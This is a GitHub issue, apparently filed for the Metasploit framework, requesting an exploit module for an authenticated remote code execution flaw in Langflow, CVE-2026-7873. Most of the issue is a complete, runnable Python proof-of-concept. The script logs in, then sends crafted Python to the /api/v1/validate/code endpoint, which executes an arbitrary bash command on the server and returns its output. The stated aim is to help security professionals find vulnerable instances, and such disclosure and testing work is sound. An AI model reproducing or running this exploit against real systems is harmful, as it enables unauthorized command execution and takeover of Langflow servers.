Skip to content

ENH: Exploit module for Langflow authenticated Remote Code Execution vulnerability CVE-2026-7873 #21876

Description

@rmhowe425

Summary

Requesting to add an exploit module in exploit/multi/http for an authenticated remote code execution vulnerability impacting Langflow, allowing an attacker to execute arbitrary python code on a victim machine.

Basic example

# Exploit Title:  Langflow authenticated RCE
# Exploit Author: Richard Howe <rhowe425>
# Vendor Homepage: https://www.langflow.org/
# Software Link: https://www.langflow.org/desktop
# Version: 1.0.0 - 1.10.0
# Tested on: Ubuntu 22.04
# CVE : CVE-2026-7873

from requests import get, post
from argparse import ArgumentParser


def authenticate(base_url: str, username: str, password: str) -> dict:
    """
    Authenticate with vulnerable Langflow instance.

    Parameters
    ----------
    base_url : str
        URL of Langflow instance.
    username : str
        Langflow username.
    password : str
        Langflow password.

    Returns
    -------
    Authentication header.
    """
    print(f"[+] Authenticating as {username}.")

    try:
        resp = post(base_url + "/api/v1/login", data={"username": username, "password": password})
        resp_json = resp.json()
    except Exception as e:
        raise RuntimeError(f"Error authenticating with Langflow: {str(e)}")

    if resp.status_code != 200 or not resp_json.get("access_token"):
        raise RuntimeError(f"Error authenticating with Langflow: {resp_json}")

    token = resp_json['access_token']
    return {"Authorization": f"Bearer {token}"}


def exploit(base_url: str, auth:dict, cmd: str) -> dict:
    """
    Triggers CVE-2026-7873 by sending an authenticated POST request
    to `/api/v1/validate/code` with attacker provided Python code.

    Parameters
    ----------
    base_url : str
        URL of Langflow instance.
    auth: dict
        Authentication headers.
    cmd : str
        Attacker provided command.

    Returns
    -------
    JSON response body containing output
    of attacker-controlled code.
    """
    print("[+] Triggering vulnerability.")
    endpoint = '/api/v1/validate/code'
    data = {"code":"\ndef exploit(\n    _=( lambda r: (_ for _ in ()).throw(Exception(f\"{r.stdout}{r.stderr}\")) )(\n        __import__('subprocess').run('%s', shell=True, capture_output=True, text=True)\n    )\n):\n    pass\n" % f'/bin/bash -c {cmd}'}

    try:
        resp = post(base_url + endpoint,
                    headers=auth,
                    json=data
                    )
    except Exception as e:
        raise RuntimeError(f"Error querying API.\n{str(e)}")

    if resp.status_code == 200:
        return resp.json()

    raise RuntimeError(f"API returned with status code: {resp.status_code} and error: {resp.json()}")


def main():
    parser = ArgumentParser(description="Exploit for Langflow auth RCE CVE-2026-7873")
    parser.add_argument("-u",    "--url",      required=True,  help="Langflow base URL, e.g. http://192.168.1.30:7860")
    parser.add_argument("-name", "--username", required=True,  help="Langflow username")
    parser.add_argument("-pwd",  "--password", required=True,  help="Langflow password")
    parser.add_argument("-c",    "--command",  required=True,  help="Bash command to execute on the server")
    args = parser.parse_args()

    # Authenticate with Langflow.
    auth = authenticate(base_url=args.url, username=args.username, password=args.password)

    # Trigger vulnerability.
    resp = exploit(base_url=args.url, auth=auth, cmd=args.command)

    print(f"\n[+] RESULTS:{resp}")


main()

Motivation

The addition of this module provides security professionals with a reliable method to identify vulnerable Langflow instances that pose unnecessary risk to their network environment.

Activity

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Metadata

Metadata

Assignees

No one assigned

    Labels

    Type

    No type

    Projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions